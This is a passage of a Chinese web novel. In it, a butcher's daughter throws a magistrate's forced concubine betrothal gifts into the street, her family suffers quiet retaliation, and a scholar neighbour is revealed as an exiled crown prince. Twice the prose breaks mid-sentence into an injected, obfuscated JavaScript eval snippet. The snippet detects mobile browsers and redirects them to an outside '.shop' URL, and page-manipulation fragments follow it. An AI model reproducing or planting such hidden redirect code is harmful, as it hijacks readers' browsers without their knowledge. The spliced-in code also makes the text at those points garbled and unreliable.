他拍拍佟雪的头,“小雪儿,替哥哥给你乐乐姐传句话。” 他知道范乐乐不识字,无法留信,便只能托妹妹传口信。 “嗯,哥你说。”佟雪睁着她的大眼睛点头。 “就说:‘抱歉,祝她日后……幸福美满’。” “哥,祝福的话为什么要说‘抱歉’呢?”佟雪是个不懂就问的好孩子。 佟暄捏捏她的脸,“你这么说就对了,她自然会明白。” “哦。”她吐了吐舌头,也不知道这两个大人打的什么哑谜。佟雪向来很听哥哥话,便也不多问。 佟暄踏出院门,回头看了眼隔壁紧闭的范家大门。 昨夜挂上去的灯笼已经熄灭,在空中一晃一晃。 他紧了紧肩上的包袱,踏着朝阳,头也不回地往巷子口去。 佟暄出了巷子口,往西边拐去,恰此时,东边街头不远处,一列浩荡的队伍往葫芦巷口缓缓走来。队列最前方走着张媒婆,穿一身喜气洋洋的红,帕子甩得晃晃悠悠。身后的脚夫们扛着朱木大箱子,从巷子口鱼贯而入,最后随张媒婆,停在了范家的大门前。 这轰轰烈烈的阵仗,引来不少邻居围观,大家或驻足观望,或从二楼探头探脑,往这边瞧热闹。 张媒婆迈上台阶,敲响了范家的院门。 “范老板,开门呐,是我!来接喜事啦!” 好半晌,门方才打开,范屠户结实的脸出现在门缝中,一双牛似的眼睛满是警惕。 张媒婆瞧他这紧张样儿,只觉好笑,张开大嘴,还没来得及说话,后面冲上来俩脚夫,“砰”地一下把门推开。 范屠户被门打了个趔趄,连张媒婆也脚一歪,差点没跌倒在门前。 那些脚夫们立刻杠上箱子,蛮横地就往院子里面抬,不多时,原本就狭小的范家院子立刻就被这些箱子占满了。 “你……你们……”范屠户气得嘴直发抖,“你们这是要做什么?!” 张媒婆顺势就迈进门槛来,满脸堆笑,嘹亮的大嗓门一嚎:“范老板,恭喜恭喜呀!贺知县来给你家下聘礼啦,你们家乐乐,真是个有福气的!” 范屠户看着这满院子的箱子,只觉脑袋嗡嗡作响,霎时天旋地转。 他都还没有应下这门亲事呢!有这么下聘礼吗?这根本就是在强娶! 范屠户气得肩膀抖,手也抖,心里头又怒又惧。 “出去……都给我出去……”他手哆哆嗦嗦指向大门,下起了逐客令。他也不知自己哪儿来的勇气,竟然敢跟知县派来的人叫板。可他们这么大张旗鼓地把聘礼抬进家门,街坊邻里可都看着呢,以后该怎么想他家乐乐?和吴家的亲事又该怎么办?! 见范屠户气得脸都青黄了,张媒婆怕场面闹得太难看,连忙就要上前劝解,“范老板呐,您听我说……” “你们这是在做什么?!” 少女的怒音传来。 众人转头,却见一俏丽姑娘站在堂屋前,一身缥碧色麻衣盖不住她那夺人眼目的美色,乌发如云,雪肤红唇,墨黑的杏眼怒瞪着,里头燃着簇簇的小火苗。 16. 怒扔聘礼 那站在堂前的少女美目怒睁,虽是气势汹涌,却依旧叫人赏心悦目。 张媒婆一见范乐乐,打从心底里高兴,脸上的笑竟是多了几分真心。这水灵灵的姑娘,谁见了可不爱?要不说知县儿子看上了?就这副生气的小模样,都叫人疼惜得紧。 “哎呀,这就是咱家闺女吧?瞧瞧瞧瞧,真个天仙儿似的人物,范老板你呀,上辈子积了德的,能得着这么个好闺女。”张媒婆扯着帕子咯咯笑。 范乐乐没空理会她的奉承,手插着腰,怒道:“你们这是什么意思?有你们这样求亲的吗?连议亲都还没有,直接就把聘礼往别人家里抬?!” “哎?”张媒婆嘴一撮,眼睛朝范屠户轱辘,“怎么没提亲?早提了的呀,范老板你可是知道的啊。” 范屠户跺脚,“我不是都说了嘛!乐乐已经和吴家……” “哎,范老板!”张媒婆忙转移话题,“不管怎么说,现在知县来你家下聘了,这门亲事就算是这么定了。范老板,你家乐乐呀,就要飞上枝头变凤凰啦!” 她笑呵呵捏着帕子,拍拍范屠户的肩,“人家贺公子可是明媒正娶,要把你家乐乐抬回去做妾的!你说说,这种福气,别人家求都求不来呢。” 做妾?!范乐乐眼珠子瞪得浑圆。爹爹可从没说过,那贺钟鸣竟是要讨自己做妾! 张媒婆嘴上说着恭喜,话里话外的意思却很明确:别不识好歹。 范屠户僵在那儿,一下子没了主意,他不想答应,可又拒绝不掉,急得眼睛都逼红了。 范乐乐气不过,提着裙子三两步冲过来,瞄准一个朱木箱子就要去搬。搬了两下没搬动,她干脆地打开一排箱盖,俯身去捞里面的东西,直冲到院门口,“唰”地就往外头丢。 “滚!都给我滚出去!” 她嘴里愤愤骂着,又开始去捞下一波,拼命往外头扔。 众人都愣住了,脚夫们不知该拦还是不该拦,毕竟就是下给她的聘礼;范屠户也没料到乐乐会有如此大反应,只是傻愣愣看着她一波一波往外头扔。 街坊们早就躲在暗处瞄了好久,见范家居然把聘礼丢了出来,更是炸了锅,一个个围过去,就想见识见识知县老爷都下的什么聘礼。 大家凑近去瞧,一箱的鲜桃儿被摔烂,砸得满地汁水,旁边还有一些花椒、茶饼并瓷杯瓷碗的碎片之类。 立刻有人圈住嘴,跟旁边的人低语:“哎,这知县老爷家的聘礼,跟我们寻常人家也没什么两样儿嘛。”什么金钏、金镯、金帔坠一概没见,就连那瓷杯瓷碗,一看也就是普通民窑里烧制出来的,不上个档次。 “岂止呀?当初我那个表侄女嫁给西街米铺的戴掌柜时,人送的布都是丝的,你再看看知县老爷家……”他指了指地上被桃汁儿染脏的布匹,“棉的!” 有人对着这寒酸的聘礼感叹:“哎,我看这新来的知县是个好官,清廉!” “啊呸!”那表侄女嫁给了戴掌柜的街坊不屑道:“那是知县老爷他压根儿就把这范家当回事儿!你想想看,知县的儿子,他愿意娶你个屠户女,那是你范家祖坟上冒了青烟了!多少女人想爬那贺公子的床还爬不上呢,人愿意抬着聘礼上门来求亲,你范乐乐就偷着乐吧,还想着要三金?做梦!” 小佟雪听着街坊们的议论,半懂半不懂,人群中迷瞪瞪抬起头,“娘,乐乐姐不是要嫁到我们家来嘛?怎么……唔唔……” 陈玉珠听着女儿童言无忌,吓得脸色一白,忙捂紧她的嘴,低头呵斥:“胡说!这压根没影儿的事儿,你以后不许在外头乱讲了,听到没有?!” 佟雪被娘严厉的神情吓到了,连连点头。 陈玉珠这才放开手,忧心忡忡地看着一片狼藉的范家院门。 目睹了范家今天这出闹剧,她这心里头也直发慌,范乐乐竟硬气到丢知县家的聘礼,天爷呐!这不得把知县得罪了个彻底?想起以前乐乐和她家佟暄的事儿,这要是叫知县儿子知道了,可不得给自己儿子记恨上了?看来她家佟暄果然有先见之明,不娶这个范乐乐是对的,太漂亮的媳妇儿放家里不是好事儿,能不能守得住还另说呐。 至于乐乐追着他家佟暄跑那事儿,以后可千万别再传扬了,她只想避开知县家的锋芒,保命为上。 外头街坊们正讨论得热闹,却见门里头扑棱扑棱飞出两只大白鹅,人群中左突右冲,扇着翅膀咯咯叫。 “哈哈哈!”街坊们顿时笑做一团。看来知县家也猎不到野生大雁,不过是跟他们平头老百姓一般,用大白鹅代替罢了。 大白鹅的出现彻底点燃了门外的氛围,有小孩儿嘴里“咯咯咯”叫,追着白鹅四处跑,有那大人拍掌大笑,好瞧了这一通热闹。 张媒婆眼看事情闹成这个样子,慌得出了一身热汗,这不是给知县老爷丢脸吗? “哎呦!我的姑奶奶呀!这成什么话呦?快停手,别扔了别扔了!”范乐乐根本听不进,只是憋红个脸继续往外扔,像是在撒气般。 “还愣着干嘛呀?赶紧拦住她啊!”张媒婆跺着脚,冲那些脚夫们吼。范屠户这才没办法,把又在箱子里掏东西的女儿拽住,“乐乐,快停手!” 范乐乐把手中的东西摔回箱子里,回身朝他们吼道:“我叫你们快滚啊!听不懂人话吗?你们要是还在我家赖着,我就继续扔,什么时候扔光为止!” “行行行,我们走,姑奶奶您千万消消气儿。”张媒婆拿这千钧气势的小娘子没辙,只得哄着她。 但张媒婆也是个敬业的,她既然领了知县的吩咐,就务必要使命必达。她放低了姿态,觑望着姑娘气得绯红的小脸儿,厚着脸皮道:“那这聘礼……你们就算是收下了……” “砰”!范乐乐将手中的茶壶摔在张媒婆脚边,“滚!” “你告诉那个姓贺的,我不嫁!聘书都还没有签订,就抬着聘礼来了?这合规矩吗?世上就没有这种按头强娶的道理!” 张媒婆见她是个死脑筋,只当小姑娘不通世事,迈着小碎步上前,却又不敢离怒气冲冲的姑娘太近,双手圈在嘴边道:“姑娘……那是知县家儿子,浔阳县就属他家最大,你明白噶哈?” “我当然明白!”范乐乐又是一嚷,大跨几步,直接踩在了院儿门槛上,恨不能喊得十里八乡都听见:“正因为他是知县儿子,办事便更要合理合规,更不能知法犯法!我范乐乐不愿意嫁,他就不能娶!” 她手指着外边瞧热闹的吃瓜街坊们,“这么多乡里乡亲可都看着呐,难道他还想强娶民女不成?!” 众街坊听她这么一说,又是纷纷低头议论起来,声音淅淅索索的,听得张媒婆心烦。 “哇!”佟雪从大人们的腰间露出一颗头,看着蹬脚站在门槛上的范乐乐,只觉她正气凛然,浑身都在发光。 陈玉珠听女儿小小声的崇拜,敲一下她头,“你可千万别学她!女孩子太刚太硬了不好,是要吃大亏的!” 小佟雪捂住头,对娘的话一知半解,眼神却还盯着门槛上那道纤细直挺的身影。 张媒婆被她说得臊眉耷眼的,外头这么多双眼睛齐刷刷盯着,似乎自己真成了那逼迫良家女的恶人了。再这样,日后谁还敢找自己说亲呐?坏了名声不是? 本以为把这聘礼往范家一抬,又有知县的名头压着,任凭他们再不情愿,也只能是打落了牙齿活血吞。可没想到,这个范乐乐,瞧着又乖又娇一小姑娘,性子竟那么蛮横粗鲁,知县的聘礼也敢丢,搞得街坊四邻都知晓,自己真是踢上块铁板了。 她眼珠子一骨碌,瞬间衡量完了利弊,又赔上笑,迎上前去,“姑娘说的是,那肯定没有这种道理不是?结亲嘛,讲究的就是个你情我愿,大家才能成就好姻缘。姑娘既不愿意,这里头啊,肯定是有什么误会。既然有误会,我们说开了、说清了不就成了?何必弄得这……这么难看呢,你说是吧?小姑娘?” 她话说得和蔼可亲,可最后那一声“小姑娘”,摆明了就是在点范乐乐不懂事嘛。 范乐乐双手抱胸,居高临下地睨着那张媒婆。哼,自己要是懂事了,可不就吃了这个暗亏?说不定过几天就是一顶轿子,把自己抬去那个纨绔子弟房间了。 她手放下来,提着裙角跳下门槛,冲张媒婆露出个甜笑,“既然您说了是误会,那便好了,至于今日因着误会打坏的这些的东西,我们也定会照价赔偿。” 听到范家姑娘说照价赔偿,街坊们更是心里暗暗佩服,为她竖起了大拇指。 张媒婆见如此情形,也不好再说什么了,又奉上几句场面话,领着那些脚夫们讪讪地走了。 范家终于清净了。 范乐乐把院门一关,范屠户立马跛起脚直跳,“乐乐!我们今天算是把知县老爷得罪彻底了!你糊涂哇!” 范乐乐神色淡淡,却是不以为意,“爹,不这样的话,难道真就要把我许给那个荒唐的嫖虫?” “可……”范屠户也说不出,还有什么别的招儿。他们这种布衣百姓,向来只有做粘板上的鱼肉的份儿。 “爹,您就放宽心吧,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544067|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情闹大了,他们不敢胡来的。” “哎!”范屠户叹口气,垂头在石凳上坐下,“乐乐,你还小,你不懂,这知县手上捏着的,可是权力!这手上有权的人,若是想要你难受,有的是千百种法子。指不定什么时候就背地里摆你一道,神不知鬼不觉,你防都没处防。” “爹,哪儿有你想的这么吓人?你就别瞎担心了。” 范屠户抬头,看眼他家乐乐,清澈的眼眸,纯洁的神态,脸上尽是些风发意气。十七岁的少女,到底还是对这个世界存了太多天真的揣测。 范屠户这几日觉浅,夜里总也睡不踏实,时时担心着遭了知县家的报复。哪成想,知县那头还没什么动静,倒是有人先按捺不住了。 “你说什么?!”范屠户从椅子上弹起,两只梆硬的拳头捏紧,牛眼死命瞪着面前的姜媒婆。 “我们定亲书都已经签了,这时候他吴家想要退亲,这是几个意思?!” 姜媒婆被范屠户吓着了,手绞着帕子,支支吾吾:“范老板……你冲我吼也没用哇,这都是吴家那头的意思,我也就是传个话。” 范屠户双眼猩红,哪里还听得进去,“他们这样做,不是坏我们家乐乐名声吗?这叫我们以后还怎么同人议亲?!” “早知当初,他们要这么看不上我们家,就别答应这个事儿啊!” “哎呦!”姜媒婆怪叫一声:“那早知当初,谁也不知道知县儿子也看上了你家乐乐呀。” 这话一出,范屠户抽了魂般,又一屁股坐回椅子里。 姜媒婆借机把话挑明了,细长眼觑着他的神情,试探道:“范老板,我这么跟您说吧,就你家乐乐扔知县聘礼这个事儿……县里头都传开了。” “咱们呐,都是些平头老百姓,富贵命也不指望了,做父母的不就是希望儿女能安安稳稳地成家立业嘛?都是为人父母的,范老板您将心比心,就你家乐乐和知县儿子这个事儿,哪个好人家敢去淌这趟浑水啊?” 范屠户被姜媒婆这口伶牙俐齿说蒙了,只是鼓起个眼睛发愣。 “他吴家也就是个做小买卖的,哪有那个本事敢跟知县家硬碰硬呐?范老板,大家都是在父母官手底下混口饭吃,您呐,也多体谅体谅。” 体谅?他去体谅吴可筠家,谁来体谅体谅他家乐乐呢?他乐乐那么好的姑娘,凭什么就要遭受这种对待?! “滚蛋!”范屠户猛然狂吼,姜媒婆给吓个哆嗦。 “你去告诉他吴可筠,以后他家的肉,老子他妈再也不卖了!” 呦,谁还差你这几块猪肉了,县里头就你一家猪肉铺不成?姜媒婆心里嘀咕着,面上赔住笑,提溜住裙角,灰溜溜走了。 阳光朝西边走去,离堂前越来越远,屋子里逐渐暗了下来。 范屠户颓丧地倒在椅子里,愁容满面。 事情怎么会变成这样?他家乐乐……以后可怎么办呢? 浔阳县地方不大,消息插上翅膀,很快就飞遍了整座小镇。 范屠户心疼女儿,不想她遭受别人的侧目,让她这几天在家里避避风头,不要再去铺子里抛头露脸了。 可范乐乐偏不。 “我又没有做错什么,凭什么叫我避着人?” 她照常去铺子里卖肉,只是那刀挥舞得,比任何时候都要凶狠。 她拿过一块猪蹄膀,刀在上面笔划着,琢磨从哪里下手。 想起这段时日的遭遇,心里还是不由愤愤。 这些男人,一个个的都在耍她玩儿吗?打量她范乐乐好欺负?! “梆”一下,她朝蹄膀剁下去了第一刀。 那个吴松明,追她的时候忙头忙尾地献殷勤,跟个哈巴狗似的粘着自己,可真到有事了,转头就退婚,把他自己摘个干净,还说什么祝她另觅良缘。我呸! “梆”一下,她朝蹄膀剁下去了第二刀。 还有那个佟喧,自己追着他跑了这么多年,他到现在才说不喜欢,那晚又莫名其妙舔了自己耳朵,舔完了第二天就装失忆,还说什么祝她幸福美满。啊呸! “梆梆梆梆”!猪蹄膀被剁得血沫横飞,连那案板都在跳。 面前买猪蹄儿的顾客咽了咽唾沫,心想说蹄膀不用剁得这么碎,可瞧见姑娘那目露凶光的脸,把话又默默咽回了肚子里。 “铛”!刀刃砍在案板上,将最后一块完整的蹄膀劈碎。 果然,男人都是大猪蹄子!没一个好东西!呸! (哦,她亲爱的爹爹除外,哼~!) 17. 巧取豪夺 琅岳书院。 佟暄在书院睡了五个夜晚,和一群同窗睡通铺,还是不大习惯,再加上张致远那个五雷轰顶的打鼾声,更是叫他难以入眠。 这几日睡眠不好,形容也有点萎靡,但他依旧强打着精神听课,生怕影响了学习。 只奇怪的是,一向生龙活虎的吴松明竟是告了好几日的病假,接连三天都未见他来书院。方恺提出得空了去吴家探望探望,佟喧点头应下,但最近这段时日,他心慌意乱,委实还没有什么心情。 午后蝉鸣,热浪卷地。学子们用过午膳,纷纷打着哈欠,摸去房舍午休。 午时三刻,佟暄推开了袁弘佐书房的门。每隔三日,他都会在这个点来寻袁弘佐。 佟暄刚在身后关上门,袁弘佐立刻迎过来,撩起衣袍,挺身跪下,“参见太子殿下。” “夫子还请免礼。”佟暄俯身将他搀起,“都说了,夫子以后大可不必多礼。” “君臣之礼不可废。您是未来的君主,我既是您的夫子,更是您的臣子。” 佟暄将袁弘佐送到圈椅里,自己方才在桌案对面坐下,将学生对老师的恭敬表现了个十足十。 “夫子此话言之过早,未来大雍朝的君主究竟是谁,还未可知呢。”他在椅子里坐定,垂首冷笑。 袁弘佐捋胡子的手一顿,望着面前神色冷然的萧索少年,心中顿时了然。 “京中之事,殿下听说了?” 佟暄勾唇,“自然。若是连这个消息都收不到,怕是日后怎么死的都不知道呢。” 袁弘佐长叹口气。 少年就端坐面前,神情沉稳,颇有种八风不动的老成,但眼底微微颤动的涟漪,还是出卖了他的心思。 他在害怕。 哪怕他心思再深沉,毕竟是个不过十八岁的少年,又从小远离庙堂,未曾真正深入卷进过那些朝堂争斗,这是第一次,权势的利爪终于慢慢向他笼来,恨不能将他抽筋拔骨,碎成齑粉。 “夫子……若我这次……真的被废了呢?”少年开口问,抽搐的面部肌肉在他平静的脸上撕开一道裂缝。 “是不是……必死无疑了?”蓦地,抽动的嘴角扯出一抹笑,狠厉,绝望。 袁弘佐默了默,徐徐道:“若殿下不被发现,尚可假死脱身,在这浔阳县做一世平民;可若是身份暴露……”他手捻着胡子,“殿下明白的,卧榻之侧岂容他人鼾睡?” 他紧紧攥住拳头,克制住手臂的微抖,紧绷的肩膀像是一张蓄势待发的弓。 怎么可能不暴露?若是父皇真决意废了他,又怎会费心护着他?! 自己没有别的退路,太子之位,必须坐稳。 他定了定心神,抬眸,坚定的眼神直视袁弘佐,“夫子,依您对父皇的了解,他可否会接受朝臣的此次奏议?” 只片刻,他很好地收敛住了自己的情绪。 “太子可知,为何官家要将您放到民间收养?” “据说是……因为父皇的一个梦。”佟暄蹙眉。 看来他自己亦是知晓。虽说这事听来荒唐,可确是如此。 袁弘佐看着太子清隽的面庞,注意力全都落在了他鼻尖的一点痣上,色淡如琥珀,状小如苔米,落在他温润秀挺的鼻梁上,竟为那张清冷的脸平添几分童稚之气。 正是他鼻尖的这颗痣,叫皇帝彻底笃信了梦中僧道所言。 太子从娘胎里出来时,鼻尖并未有这颗痣。皇帝梦中,僧道走前曾有言,他们在太子鼻尖留下了一滴世人苦泪,希望能够压制住他的恶念,召唤他体内的善性。 皇帝梦后三个月,太子鼻尖被虫咬,从此落下了一颗痣。琥珀色的淡痣,叫这三岁小儿的脸上,竟有种悲悯世人般的懵懂。 由此,皇帝大惊,对梦中所见所闻,深信不疑。 “那太子可知晓,官家既有此不祥之梦,为何偏要费尽心力将你送入民间培养,而非直接改立太子呢?” 他眉心一跳,眼神颤动。 这简直就是问到了佟暄的要害处,这也是最令他惶恐不安的一点。 “学生无知,还请夫子指教。” 袁弘佐抚了抚胡须,“殿下这是……‘子凭母贵’。” 佟暄挑眉,似有所感。 “官家重礼,立嫡不立庶,这固然是历代规矩,但更重要的是,因为殿下是扶华皇后的儿子。” “唯一的儿子。”他强调了这一点。 “扶华皇后才智无双,婉婉有仪,自官家还在东宫时便伴其左右,既是贤妻,亦是良佐。皇后执掌中宫后,更是誉重椒房,德光兰掖,自是当得上这一代贤后之称。” “官家对皇后的敬重与爱护,毋庸置疑。” 可袁弘佐这番话,并未能消除佟暄的疑虑,他反是眉头皱得更紧,“君王之爱,朝晴暮雨,如何能靠得住?” 袁弘佐眼中一亮,赞赏之情溢于言表,“殿下能如此想,臣心甚慰。” 他是一个冷静的人,不会被感情的表象蒙蔽头脑。这很好。 “殿下的担忧不无道理。但官家对扶华皇后的情义与信任,不容小觑。” “殿下记住,官家心中,太子必须是扶华皇后的儿子。”他一双老眼目光灼灼光,笃定不移。 “那若有一天,母后惹怒了父皇,他二人就此决裂呢?” “不是没有这个可能,虽然几率很小。” 眼见得他忧色又上眉头,袁弘佐连忙道:“但殿下并不需因此而杞人忧天,只需做好自己该做的,静观时局,伺机而动。需知,殿下身上还有一点,是其他在朝皇子皆不能比肩的长处。” “而这一点,也正是官家最无法舍弃你的一点。” 佟暄蹙眉,凝思良久。 袁弘佐见太子未解,提点到,“殿下通读史书,应当明白,历来帝王最忌惮太子的什么?” 再寻思索,他忽而展眉,激动道:“因为我在朝中无根无势!” 袁弘佐满意地笑了,不掩他的欣赏之色,“正是。” “殿下最忧的一点,恰恰是官家最喜的一点。” “朝中没有自己的党羽,是一把双刃剑,端看殿下如何使用它。”他起身,去书柜上摸索出一本小册子,推到佟暄面前,“这个名册上,都是臣的一些门生故吏,殿下可好好做番了解。” 佟暄怔愣着接过,他知道,这是袁弘佐在给未来的自己送人脉。 “殿下放宽心,官家正当年富力壮时,还可稳坐龙椅多年,比起母妃身份卑贱、现下就按捺不住、张牙舞爪的五皇子,我想在官家心中,殿下目前依然是最合适的人选。” 想换太子,还未到时机呢。 佟暄站起身,朝他深深行个礼,“多谢夫子提点!” 佟暄在袁弘佐处得了点拨,虽担忧开解了大半,但心中仍有不安,或者更准确说,是心有不甘。 只因晚间林中,暗卫又递来宣王的一封信,答复他前日对“废太子”一事的疑虑。信中对他一番安抚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567172|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末尾又添一句:与临汾崔知月的婚事暂缓,延后再议,勿急。 信纸在手中捏作一团,嘴角牵出抹自嘲的冷笑。 不用问,京中现在正是风起云涌时,“议废太子”一事闹得沸沸扬扬,崔家百年望族,必不会在这个时候愿与一个东宫之位随时不保的太子议亲。 眼中闪过一抹冷色。 呵,他这个太子,当得真是憋屈,竟叫那些世家都对与他结亲一事避之不及。 这个崔知月,他李煊还偏就娶定了! 现在四周风声鹤唳,若是连婚事都不能助他一臂之力,那他真的就是孤立无援了。 月凉如水,又是一夜难眠。 佟暄在山中闭关这几日,对山下事全然不知,吴松明的座位空了五日,还是不见人影。他和方恺正准备下山探望,书院里却开始起了些流言蜚语。 “你们听说了没?就范乐乐把知县儿子聘礼扔了那个事儿?” “什么?!” 众人皆惊,不约而同地,纷纷撇头看眼佟暄。毕竟范乐乐当年追着佟暄跑的事,书院里人尽皆知。 佟暄脸掩在书后,修长的手指紧了紧书皮,状似不在意,却是凝神屏息在听。 “就说那知县家领人去范家提亲,说是要收范乐乐做妾。结果那小妮的脾气,你们也都知道,是那肯吃亏的人吗?把知县家的聘礼哗啦一下,全丢巷子里头了。” 众人倒吸一口凉气。 这妮也忒猛了点! “这下可漏了怯了,那知县家的聘礼往外一洒,街坊们凑近那么一瞧,嘿!全是些便宜货色,那叫一个寒酸。这下全县人都知道了,暗地里都拿这个当笑话说呢!” 他讲得绘声绘色,颇有那说书先生的架势,四周响起一阵哄笑。 佟暄却是怎么也笑不出来,书在手中皱成一团。 拿这种垃圾聘礼逼迫范乐乐给他家“出息”儿子做妾?这个贺庆岚,他是不是嫌自己屁股底下的官位做得太稳当了?! 那“说书的”又眼一挤,嘴一歪,朝吴松明的座位指了指,“你当吴松明这几日为什么不来了?装病呐!据说他本来都和范乐乐定了亲的,聘礼这个事儿这么一闹,第二日吴家就把亲事退了,这小子告假,是为了避风头呢。” 嚯!众学子瞪大眼,更惊诧了。 吴松明竟然还和范乐乐有这出?这三角关系可太复杂了,不过这种瓜,吃起来才香呐! 众人正八卦在兴头上,戴哲过来主持纪律,没一会儿,夫子就携着书,紧跟着迈步进来。大家这才做鸟兽状,各自回了座位。 佟暄实在坐不住,没想到才几日,山下竟就生出这么多变故。下午的课上到一半,他便去跟夫子告假,想要下趟山。 太子要来告假,哪里有拦着的道理?他甚是连事由都不敢问,手一挥,就放他去了。 佟暄下了山,直奔欢乐肉铺去。 今日是六月十八,偶数日,按他们父女的规矩,理应是范乐乐看店。 可欢乐肉铺门口,店门紧闭,连那廊檐上的招幡也收了起来。 心中顿感不妙,他同旁边与范氏父女熟识的烧饼老板打听。 “打从前儿起,这肉铺就没开过门了,也不知出了什么事。”他左右打量一圈,倾身上前,小声道:“八成是因为得罪了知县家,你说这事儿闹得……哎,小姑娘到底还是不懂事。”他摇头叹气,又去揉他的面团去了。 佟暄神色一凌,道个谢,疾步往范家去。 18. 清白尽毁 今日的范家庭院,再无往日生机,却是一派死气沉沉。 范乐乐勾头坐在院子里,手上慢吞吞穿着竹叶。她脚边堆了一摞竹篾,都是这两日编的,好寻机会拿去集市上卖,能换一个铜子儿是一个铜子儿。 家里的铺子已经三日没有开张了,事情得不到解决,这样下去,还不知道这生意能不能做得下去。 范乐乐心里不是没有懊丧。这俗世到底是叫不知天高地厚的她吃了顿教训。 原来有权有势的人想要收拾你,真的不必从明面上来,背地里随便勾勾手指头,就够你个小老百姓喝一壶的。 扔了知县聘礼之后的两日,确实一切相安无事。本以为这事儿就这么过去了,可没成想,到第三日,范屠户一如往常,天不亮赶着驴车去郊外的屠宰场抬猪,那同他们做了好多年生意的养猪户杨老四,竟推脱着不愿把猪卖给他。 “真是不巧,范老板,最近广元府里头有个富户办酒席,把我们这的香猪一口气全定了去。剩下的这些,您看看,都紧着您挑,谁让咱是老熟人了呢?” 范屠户打眼看一圈,能让他挑的全是膘都还没长好的猪崽,这叫他卖个屁啊? 范屠户知道他这是托词,就算是广元府的富户,哪个有胃口吞得下他这么多猪?怕是故意针对自己。范屠户也没证据戳破,憋了一肚子气,赶着驴车走了。 这几日,他远近的养猪户都问了一圈,个个都有“正当理由”拒绝,就是不给他供猪。 看破不说破,范屠户心里约莫猜出来原因,但他性子也倔,非要拉着个驴车,又去杨老四处磨嘴皮子。 毕竟是合作了好些年的,杨老四不忍心,只好同他道:“范老板,想想您最近得罪了什么人?咱们都是混口饭吃,谁也别难为谁不是?” 显然,知县这是跟所有养猪户都打了招呼了。就是要叫他吃了这个暗亏。 有苦不能言,范屠户这是连冤都没处伸去。 “乐乐,别弄了,快来喝点绿豆汤,爹刚熬的,咱去去暑气。” 范屠户叫她,她不应,只是低头编着她的竹篾。 哎,他叹气。闺女心里愧疚,觉得是她自己连累了肉铺,这几日偷偷抹了好几回泪,他心里都知道着呢。 “乐乐……”他把绿豆汤端到院里的石桌上,正要开口劝,院门敲响了。 范屠户:“谁呀?”没有人应。 “我去看看。”范乐乐放下编了一半的竹篾,起身去开门。 门一开,她呆住了。 佟暄一头急汗,白玉的脸颊绯红,整个人暑气蒸腾。人倒是一如既往的淡定,眼神也平淡得很。 “你来做什么?”她蹙眉,没好气道。 范乐乐现在最不愿看到的就是他。那日晚他轻薄过自己,竟是一句交待也无,叫佟雪带了个话,自己就躲到书院去了,呸!现在又跑过来显眼做什么? 佟暄看着她,几日不见,比之上回好像是又更憔悴了。许是不用杀猪的缘故,她今日没有绾发,只是斜编一股辫子,垂在肩头,竟多出几分少女的娇柔婉约。 “你们家铺子怎么没有开张?”他没有废话,单刀直入。 “用你管?”她翻他个白眼。 小姑娘这是记恨上他了。顾不得去计较这么多,只是追问,“是不是同贺知县有关?” “甭管同谁有关,反正都同你无关,就不劳您佟状元的大驾了。”说着,就要去关门,却被佟暄一掌撑在门上,“范乐乐!”他吼,声音少见地急切了起来,“有什么难处你都同我说,我都听说了,还有吴松明那个事儿……” “够了!”范乐乐大吼,眼泪已经悬在了眼眶边,“你这次过来,就是要专程看我笑话来的吗?是,贺知县的儿子要抬我去做妾,吴松明退了我的婚事不要我了……现在你都看到了?我这样子你可满意了?” 她说完,一滴珠泪啪地滑落,眼眸被泪水浸湿。 “乐乐……”佟暄慌了神,手足无措,伸手就要替她拭泪,却见一只大掌搭上她的肩头,将她掰得歪到一边,范屠户魁梧的身形挤满了整个门缝儿。 他粗眉一横,右手一举,一柄砍骨刀赫然在手,“我警告你,离我们家乐乐远一点,若是让我再看到你惹她掉一滴泪,别怪我不客气!”他手指着他鼻子,厉声警告。 佟暄叫一声范叔,还要争辩,却被范屠户硬生生用刀逼走。 罢了,这父女俩现在对自己怨气正大,还是不要在这个节骨眼去跟前讨嫌了。 他转头,最后看一眼哭得鼻头通红的范乐乐,被她爹爹揽着肩进了院里。 心被狠狠揪起,那一刻,他想杀人的心都有了。 贺钟鸣…… 眉头沉沉压下,眸中寒光一现。 * 范乐乐把佟喧赶走,心情正低落,一边抹泪一边收拾地上的竹篾。 “乐乐,你别伤心,琅岳书院那群小子没眼光!靠不住!爹到时候给你寻个好夫家,保准比他们强出一百倍!” 她摇摇头,麻绳把竹篾一串,扎到一起,瓮声瓮气地说:“爹,婚事就先不说了,咱先把铺子里的事摆平吧。” 一说起这个,范屠户也是无奈,垂头坐在台阶上,从裤袋后摸出旱烟杆,“这个事儿,我这几日也在想,实在不行咱就……”“吱”一声,院门被打开,范乐乐肩膀吊着她那摞竹篾,正要出门。 “你干嘛去?”范屠户急问道。 “爹,我想去桥头市场看看,能不能把这些框子换几个钱。” 范屠户知道她心里不好受,总想为家里做点什么,遂摆摆手,“早去早回,我给你在灶上留好菜。” 范乐乐扛着一大摞竹篾,却并未去桥头市场,而是拐个弯,快步往晓月河去。 夕阳晚照,波光荡漾,垂柳拂风。 河边景色总是佳,可自上次和佟喧在这里作别后,她便许久都没来了。 但这时顾不得伤感,她望着河上来往的船只,凌厉的眼神去寻她要找的那艘。 很快,对方也寻到了她,船夫篙子一点,一艘二层画舫遥遥驶来。范乐乐拽紧绑竹篾的麻绳,走下台阶等候。 